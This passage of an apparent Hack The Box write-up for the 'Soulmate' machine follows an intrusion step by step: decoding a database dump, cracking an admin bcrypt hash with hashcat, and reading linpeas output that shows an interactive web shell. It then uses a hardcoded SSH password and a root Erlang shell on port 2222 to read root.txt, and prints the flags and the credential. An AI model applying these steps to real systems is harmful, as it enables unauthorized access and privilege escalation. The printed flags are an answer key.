AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAQMXAXVzZXJzAg==
pasting into a file and: cat "myfile"|base64 -d > soulmate.db
Now, lets inspect it: sqlitebrowser soulmate.db Found this hash for admin $2y$12$u0AC6fpQu0MJt7uJ80tM.Oh4lEmCMgvBs3PwNNZIR7lor05ING3v2
Cracking with hashcat : hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt
Meanwhile lets run linpeas…
═══╣ Running processes (cleaned)
╚ Check weird & unexpected processes run by root: https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#processes
root 1 0.0 0.2 166072 11524 ? Ss 20:48 0:02 /sbin/init
root 508 0.0 0.5 64468 23848 ? S<s 20:48 0:03 /lib/systemd/systemd-journald
root 545 0.0 0.6 289352 27084 ? SLsl 20:48 0:00 /sbin/multipathd -d -s
root 547 0.0 0.1 26156 6660 ? Ss 20:48 0:00 /lib/systemd/systemd-udevd
systemd+ 607 0.0 0.3 26596 14512 ? Ss 20:48 0:00 /lib/systemd/systemd-resolved
└─(Caps) 0x0000000000002000=cap_net_raw
systemd+ 608 0.0 0.1 89364 6608 ? Ssl 20:48 0:00 /lib/systemd/systemd-timesyncd
└─(Caps) 0x0000000002000000=cap_sys_time
root 609 0.0 0.2 51152 11732 ? Ss 20:48 0:00 /usr/bin/VGAuthService
root 611 0.1 0.2 242336 9980 ? Ssl 20:48 0:06 /usr/bin/vmtoolsd
root 614 0.0 0.0 85628 3060 ? S<sl 20:48 0:01 /sbin/auditd
_laurel 619 0.0 0.1 10180 6388 ? S< 20:48 0:01 _ /usr/local/sbin/laurel --config /etc/laurel/config.toml
└─(Caps) 0x0000000000080004=cap_dac_read_search,cap_sys_ptrace
root 684 0.0 0.1 101244 5888 ? Ssl 20:48 0:00 /sbin/dhclient -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
message+ 813 0.0 0.1 8632 4628 ? Ss 20:48 0:00 @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
└─(Caps) 0x0000000020000000=cap_audit_write
root 826 0.0 0.1 82832 4012 ? Ssl 20:48 0:00 /usr/sbin/irqbalance --foreground
root 829 0.0 0.4 32724 19596 ? Ss 20:48 0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root 831 0.0 0.1 234516 6600 ? Ssl 20:48 0:00 /usr/libexec/polkitd --no-debug
syslog 832 0.0 0.1 222404 5756 ? Ssl 20:48 0:00 /usr/sbin/rsyslogd -n -iNONE
root 834 0.0 0.1 14912 6528 ? Ss 20:48 0:00 /lib/systemd/systemd-logind
root 835 0.0 0.3 392504 12636 ? Ssl 20:48 0:00 /usr/libexec/udisks2/udisksd
root 872 0.0 0.3 317964 12088 ? Ssl 20:48 0:00 /usr/sbin/ModemManager
root 1146 0.0 1.6 2252168 67812 ? Ssl 20:48 0:03 /usr/local/lib/erlang_login/start.escript -B -- -root /usr/local/lib/erlang -bindir /usr/local/lib/erlang/erts-15.2.5/bin -progname erl -- -home /root -- -noshell -boot no_dot_erlang -sname ssh_runner -run escript start -- -- -kernel inet_dist_use_interface {127,0,0,1} -- -extra /usr/local/lib/erlang_login/start.escript
root 1199 0.0 0.0 2784 976 ? Ss 20:48 0:00 _ erl_child_setup 1024
root 1150 0.0 0.0 7140 224 ? S 20:48 0:00 /usr/bin/epmd -daemon -address 127.0.0.1
root 1151 0.0 0.0 6896 3000 ? Ss 20:48 0:00 /usr/sbin/cron -f -P
root 1164 0.0 0.1 10348 4028 ? S 20:48 0:00 _ /usr/sbin/CRON -f -P
root 1182 0.0 0.0 2892 960 ? Ss 20:48 0:00 _ /bin/sh -c /root/scripts/clean-web.sh
root 1183 0.0 0.0 7372 3468 ? S 20:48 0:00 _ /bin/bash /root/scripts/clean-web.sh
root 1185 0.0 0.0 3104 1172 ? S 20:48 0:00 _ inotifywait -m -r -e create --format %w%f /var/www/soulmate.htb/public
root 1186 0.0 0.0 7372 1776 ? S 20:48 0:00 _ /bin/bash /root/scripts/clean-web.sh
root 1152 0.0 0.5 204160 20108 ? Ss 20:48 0:00 php-fpm: master process (/etc/php/8.1/fpm/php-fpm.conf)
www-data 1200 0.0 0.3 204772 15876 ? S 20:48 0:00 _ php-fpm: pool www
www-data 1201 0.0 0.4 204772 16024 ? S 20:48 0:00 _ php-fpm: pool www
www-data 2429 0.0 0.0 2892 988 ? S 21:59 0:00 _ sh -c uname -a; w; id; /bin/sh -i
www-data 2433 0.0 0.0 2892 1780 ? S 21:59 0:00 _ /bin/sh -i
www-data 2569 0.2 0.0 3772 2748 ? S 22:18 0:00 _ /bin/sh ./linpeas.sh
www-data 5716 0.0 0.0 3772 1084 ? S 22:19 0:00 _ /bin/sh ./linpeas.sh
www-data 5718 0.0 0.0 7388 3380 ? R 22:19 0:00 | _ ps fauxwww
www-data 5720 0.0 0.0 3772 1084 ? S 22:19 0:00 _ /bin/sh ./linpeas.sh
root 1158 0.1 1.1 1802208 47804 ? Ssl 20:48 0:06 /usr/bin/containerd
root 1172 0.0 0.0 6176 1088 tty1 Ss+ 20:48 0:00 /sbin/agetty -o -p -- u --noclear tty1 linux
root 1195 0.0 0.0 55232 1756 ? Ss 20:48 0:00 nginx: master process /usr/sbin/nginx -g daemon[0m on; master_process on;
www-data 1196 1.0 0.1 56304 6940 ? S 20:48 0:54 _ nginx: worker process
www-data 1197 0.7 0.1 56272 6972 ? S 20:48 0:39 _ nginx: worker process
root 1223 0.0 1.9 2431396 79672 ? Ssl 20:48 0:02 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root 1786 0.0 0.0 1671188 3984 ? Sl 20:48 0:00 _ /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8443 -container-ip 172.19.0.2 -container-port 443
root 1799 0.0 0.0 1597200 3580 ? Sl 20:48 0:00 _ /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8080 -container-ip 172.19.0.2 -container-port 8080
root 1805 0.0 0.1 1744920 5960 ? Sl 20:48 0:03 _ /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 9090 -container-ip 172.19.0.2 -container-port 9090
root 1549 0.0 0.0 7372 3480 ? Ss 20:48 0:00 /bin/bash /root/scripts/start-crushftp.sh
root 1587 0.1 0.8 264236 34220 ? Sl 20:48 0:07 _ /usr/bin/python3 /usr/bin/docker-compose up
root 1843 0.0 0.3 1238020 13608 ? Sl 20:48 0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id d512837af5ef02eaaff4dfdcdd70e7d80e338b2513af31caf17a4870e3e656db -address /run/containerd/containerd.sock
root 1865 1.7 8.2 3147124 328764 ? Ssl 20:48 1:34 _ java -Ddir=/app/CrushFTP11 -Xmx512M -jar /app/CrushFTP11/plugins/lib/CrushFTPJarProxy.jar -ad crushadmin PASSFILE
not sure what this is : /usr/local/lib/erlang_login/start.escript -B -- -root /usr/local/lib/erlang -bindir /usr/local/lib/erlang/erts-15.2.5/bin -progname erl -- -home /root -- -noshell -boot no_dot_erlang -sname ssh_runner -run escript start -- -- -kernel inet_dist_use_interface {127,0,0,1} -- -extra /usr/local/lib/erlang_login/start.escript
(Nice restart htb machine script…)
script content:
cat /usr/local/lib/erlang_login/start.escript
cat /usr/local/lib/erlang_login/start.escript
#!/usr/bin/env escript
%%! -sname ssh_runner
main(_) ->
application:start(asn1),
application:start(crypto),
application:start(public_key),
application:start(ssh),
io:format("Starting SSH daemon with logging...~n"),
case ssh:daemon(2222, [
{ip, {127,0,0,1}},
{system_dir, "/etc/ssh"},
{user_dir_fun, fun(User) ->
Dir = filename:join("/home", User),
io:format("Resolving user_dir for ~p: ~s/.ssh~n", [User, Dir]),
filename:join(Dir, ".ssh")
end},
{connectfun, fun(User, PeerAddr, Method) ->
io:format("Auth success for user: ~p from ~p via ~p~n",
[User, PeerAddr, Method]),
true
end},
{failfun, fun(User, PeerAddr, Reason) ->
io:format("Auth failed for user: ~p from ~p, reason: ~p~n",
[User, PeerAddr, Reason]),
true
end},
{auth_methods, "publickey,password"},
{user_passwords, [{"ben", "HouseH0ldings998"}]},
{idle_time, infinity},
{max_channels, 10},
{max_sessions, 10},
{parallel_login, true}
]) of
{ok, _Pid} ->
io:format("SSH daemon running on port 2222. Press Ctrl+C to exit.~n");
{error, Reason} ->
io:format("Failed to start SSH daemon: ~p~n", [Reason])
end,
receive
stop -> ok
end.
ben:HouseH0ldings998, lets try. It worked!
53b50bcc4357852a7a63c65c5bfd7ba5
5. SSH (ben)
ben:HouseH0ldings998
═══════╣ Running processes (cleaned)
╚ Check weird & unexpected processes run by root: https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#processes
root 1 0.1 0.2 166072 11572 ? Ss 20:48 0:10 /sbin/init
root 508 0.1 4.1 261064 166916 ? S<s 20:48 0:10 /lib/systemd/systemd-journald
root 545 0.0 0.6 289352 27084 ? SLsl 20:48 0:00 /sbin/multipathd -d -s
root 547 0.0 0.1 26156 6836 ? Ss 20:48 0:00 /lib/systemd/systemd-udevd
systemd+ 607 0.0 0.3 26596 14512 ? Ss 20:48 0:00 /lib/systemd/systemd-resolved
└─(Caps) 0x0000000000002000=cap_net_raw
systemd+ 608 0.0 0.1 89364 6608 ? Ssl 20:48 0:00 /lib/systemd/systemd-timesyncd
└─(Caps) 0x0000000002000000=cap_sys_time
root 609 0.0 0.2 51152 11732 ? Ss 20:48 0:00 /usr/bin/VGAuthService
root 611 0.1 0.2 242336 9980 ? Ssl 20:48 0:07 /usr/bin/vmtoolsd
root 614 0.1 0.0 85628 3092 ? S<sl 20:48 0:07 /sbin/auditd
_laurel 619 0.1 0.1 11488 7800 ? S< 20:48 0:06 _ /usr/local/sbin/laurel --config /etc/laurel/config.toml
└─(Caps) 0x0000000000080004=cap_dac_read_search,cap_sys_ptrace
root 684 0.0 0.1 101244 5888 ? Ssl 20:48 0:00 /sbin/dhclient -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
message+ 813 0.0 0.1 8692 4760 ? Ss 20:48 0:00 @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
└─(Caps) 0x0000000020000000=cap_audit_write
root 826 0.0 0.1 82832 4012 ? Ssl 20:48 0:00 /usr/sbin/irqbalance --foreground
root 829 0.0 0.4 32724 19596 ? Ss 20:48 0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root 831 0.0 0.1 234516 6600 ? Ssl 20:48 0:00 /usr/libexec/polkitd --no-debug
syslog 832 0.0 0.1 222404 5756 ? Ssl 20:48 0:00 /usr/sbin/rsyslogd -n -iNONE
root 834 0.0 0.1 15508 7448 ? Ss 20:48 0:00 /lib/systemd/systemd-logind
root 835 0.0 0.3 392504 12636 ? Ssl 20:48 0:00 /usr/libexec/udisks2/udisksd
root 872 0.0 0.3 317964 12088 ? Ssl 20:48 0:00 /usr/sbin/ModemManager
root 1146 0.0 1.6 2252168 67812 ? Ssl 20:48 0:04 /usr/local/lib/erlang_login/start.escript -B -- -root /usr/local/lib/erlang -bindir /usr/local/lib/erlang/erts-15.2.5/bin -progname erl -- -home /root -- -noshell -boot no_dot_erlang -sname ssh_runner -run escript start -- -- -kernel inet_dist_use_interface {127,0,0,1} -- -extra /usr/local/lib/erlang_login/start.escript
root 1199 0.0 0.0 2784 976 ? Ss 20:48 0:00 _ erl_child_setup 1024
root 1150 0.0 0.0 7140 224 ? S 20:48 0:00 /usr/bin/epmd -daemon -address 127.0.0.1
root 1151 0.0 0.0 6896 3000 ? Ss 20:48 0:00 /usr/sbin/cron -f -P
root 1164 0.0 0.1 10348 4028 ? S 20:48 0:00 _ /usr/sbin/CRON -f -P
root 1182 0.0 0.0 2892 960 ? Ss 20:48 0:00 _ /bin/sh -c /root/scripts/clean-web.sh
root 1183 0.0 0.0 7372 3468 ? S 20:48 0:00 _ /bin/bash /root/scripts/clean-web.sh
root 1185 0.0 0.0 3104 1172 ? S 20:48 0:00 _ inotifywait -m -r -e create --format %w%f /var/www/soulmate.htb/public
root 1186 0.0 0.0 7372 1776 ? S 20:48 0:00 _ /bin/bash /root/scripts/clean-web.sh
root 1152 0.0 0.5 204160 20108 ? Ss 20:48 0:00 php-fpm: master process (/etc/php/8.1/fpm/php-fpm.conf)
www-data 1200 0.0 0.3 204772 15876 ? S 20:48 0:00 _ php-fpm: pool www
www-data 32389 0.0 0.0 2892 940 ? S 22:27 0:00 | _ sh -c uname -a; w; id; /bin/sh -i
www-data 32393 0.0 0.0 2892 956 ? S 22:27 0:00 | _ /bin/sh -i
www-data 32394 0.0 0.2 17736 8920 ? S 22:27 0:00 | _ python3 -c import pty; pty.spawn('/bin/bash');
www-data 32395 0.0 0.0 7984 3996 pts/0 Ss+ 22:27 0:00 | _ /bin/bash
www-data 1201 0.0 0.4 204772 16156 ? S 20:48 0:00 _ php-fpm: pool www
root 1158 0.1 1.1 1802208 47804 ? Ssl 20:48 0:07 /usr/bin/containerd
root 1172 0.0 0.0 6176 1088 tty1 Ss+ 20:48 0:00 /sbin/agetty -o -p -- u --noclear tty1 linux
ben 32492 0.0 0.1 17316 8000 ? S 22:29 0:00 | _ sshd: ben@pts/1
ben 32495 0.0 0.1 8784 5448 pts/1 Ss 22:29 0:00 | _ /bin/bash -l
ben 32550 0.3 0.0 3772 2648 pts/1 S+ 22:30 0:00 | _ /bin/sh ./linpeas.sh
ben 35750 0.0 0.0 3772 1096 pts/1 S+ 22:31 0:00 | _ /bin/sh ./linpeas.sh
ben 35753 0.0 0.0 10500 3908 pts/1 R+ 22:31 0:00 | | _ ps fauxwww
ben 35754 0.0 0.0 3772 1096 pts/1 S+ 22:31 0:00 | _ /bin/sh ./linpeas.sh
ben 35658 0.0 0.2 17320 8044 ? S 22:31 0:00 _ sshd: ben@pts/2
ben 35659 0.0 0.0 7372 3468 pts/2 Ss+ 22:31 0:00 _ bash /usr/local/sbin/erlang_login_wrapper
ben 35660 0.0 1.1 2246448 47496 pts/2 Sl+ 22:31 0:00 _ /usr/local/lib/erlang_login/login.escript -B -- -root /usr/local/lib/erlang -bindir /usr/local/lib/erlang/erts-15.2.5/bin -progname erl -- -home /home/ben -- -noshell -boot no_dot_erlang -noshell -run escript start -- -- -extra /usr/local/lib/erlang_login/login.escript
ben 35666 0.0 0.0 2784 924 ? Ss 22:31 0:00 _ erl_child_setup 1024
root 1195 0.0 0.0 55232 1756 ? Ss 20:48 0:00 nginx: master process /usr/sbin/nginx -g daemon[0m on; master_process on;
www-data 1196 0.8 0.1 56304 6940 ? S 20:48 0:54 _ nginx: worker process
www-data 1197 0.6 0.1 56272 6972 ? S 20:48 0:39 _ nginx: worker process
root 1223 0.0 1.9 2431396 79672 ? Ssl 20:48 0:02 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root 1786 0.0 0.0 1671188 3984 ? Sl 20:48 0:00 _ /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8443 -container-ip 172.19.0.2 -container-port 443
root 1799 0.0 0.0 1597200 3580 ? Sl 20:48 0:00 _ /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8080 -container-ip 172.19.0.2 -container-port 8080
root 1805 0.0 0.1 1744920 5960 ? Sl 20:48 0:03 _ /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 9090 -container-ip 172.19.0.2 -container-port 9090
root 1549 0.0 0.0 7372 3480 ? Ss 20:48 0:00 /bin/bash /root/scripts/start-crushftp.sh
root 1587 0.1 0.8 264236 34220 ? Sl 20:48 0:08 _ /usr/bin/python3 /usr/bin/docker-compose up
root 1843 0.0 0.3 1238020 13640 ? Sl 20:48 0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id d512837af5ef02eaaff4dfdcdd70e7d80e338b2513af31caf17a4870e3e656db -address /run/containerd/containerd.sock
root 1865 1.6 8.2 3147124 329936 ? Ssl 20:48 1:42 _ java -Ddir=/app/CrushFTP11 -Xmx512M -jar /app/CrushFTP11/plugins/lib/CrushFTPJarProxy.jar -ad crushadmin PASSFILE
www-data 23028 0.0 0.0 4364 1560 ? S 22:19 0:00 bash -c ((( echo cfc9 0100 0001 0000 0000 0000 0a64 7563 6b64 7563 6b67 6f03 636f 6d00 0001 0001 | xxd -p -r >&3; dd bs=9000 count=1 <&3 2>/dev/null | xxd ) 3>/dev/udp/1.1.1.1/53 && echo "DNS accessible") | grep "accessible" && exit 0 ) 2>/dev/null || echo "DNS is not accessible"
www-data 23032 0.0 0.0 4364 248 ? S 22:19 0:00 _ bash -c ((( echo cfc9 0100 0001 0000 0000 0000 0a64 7563 6b64 7563 6b67 6f03 636f 6d00 0001 0001 | xxd -p -r >&3; dd bs=9000 count=1 <&3 2>/dev/null | xxd ) 3>/dev/udp/1.1.1.1/53 && echo "DNS accessible") | grep "accessible" && exit 0 ) 2>/dev/null || echo "DNS is not accessible"
www-data 23036 0.0 0.0 4364 1828 ? S 22:19 0:00 | _ bash -c ((( echo cfc9 0100 0001 0000 0000 0000 0a64 7563 6b64 7563 6b67 6f03 636f 6d00 0001 0001 | xxd -p -r >&3; dd bs=9000 count=1 <&3 2>/dev/null | xxd ) 3>/dev/udp/1.1.1.1/53 && echo "DNS accessible") | grep "accessible" && exit 0 ) 2>/dev/null || echo "DNS is not accessible"
www-data 23041 0.0 0.0 2828 1028 ? S 22:19 0:00 | _ dd bs=9000 count=1
www-data 23042 0.0 0.0 2784 964 ? S 22:19 0:00 | _ xxd
www-data 23033 0.0 0.0 3472 1728 ? S 22:19 0:00 _ grep accessible
ben 32405 0.0 0.2 17084 9820 ? Ss 22:29 0:00 /lib/systemd/systemd --user
ben 32406 0.0 0.0 169264 3724 ? S 22:29 0:00 _ (sd-pam)
Analysing again the code from the past section, it seems to start a local listener on 2222.
Not only that but looking at /usr/local/lib/erlang_login/start.escript -B -- -root /usr/local/lib/erlang -bindir /usr/local/lib/erlang/erts-15.2.5/bin -progname erl -- -home /root -- -noshell -boot no_dot_erlang -sname ssh_runner -run escript start -- -- -kernel inet_dist_use_interface {127,0,0,1} -- -extra /usr/local/lib/erlang_login/start.escript it seems like if i connect i access /root
So: ssh -p2222 ben@127.0.0.1`
SSH-2.0-Erlang/5.2.9
(ssh_runner@soulmate)1> application:which_applications().
[{ssh,"SSH-2 for Erlang/OTP","5.2.9"},
{public_key,"Public key infrastructure","1.17.1"},
{crypto,"CRYPTO","5.5.3"},
{asn1,"The Erlang ASN1 compiler version 5.3.4","5.3.4"},
{stdlib,"ERTS CXC 138 10","6.2.2"},
{kernel,"ERTS CXC 138 10","10.2.5"}]
(ssh_runner@soulmate)2>
file:list_dir("/etc").
{ok,["multipath.conf","rc1.d","e2scrub.conf",".java",
"bash.bashrc","localtime","fop.conf.d","groff","udev",
"PackageKit","dhcp","java-11-openjdk",
"cryptsetup-initramfs","terminfo","kernel",
"usb_modeswitch.conf","grub.d","deluser.conf","issue.net",
"gtk-3.0","cron.weekly","dbus-1","nsswitch.conf","mtab",
"sudo_logsrvd.conf","hosts",
[...]|...]}
(ssh_runner@soulmate)3> {ok, Bin} = file:read_file("/root/root.txt"),
io:format("~s", [Bin]).
aee2bddfdc3cdfd26efb3efafd21c75c
ok
(ssh_runner@soulmate)4>
It took me a bit to understand this code logic and perplexity helped :P aee2bddfdc3cdfd26efb3efafd21c75c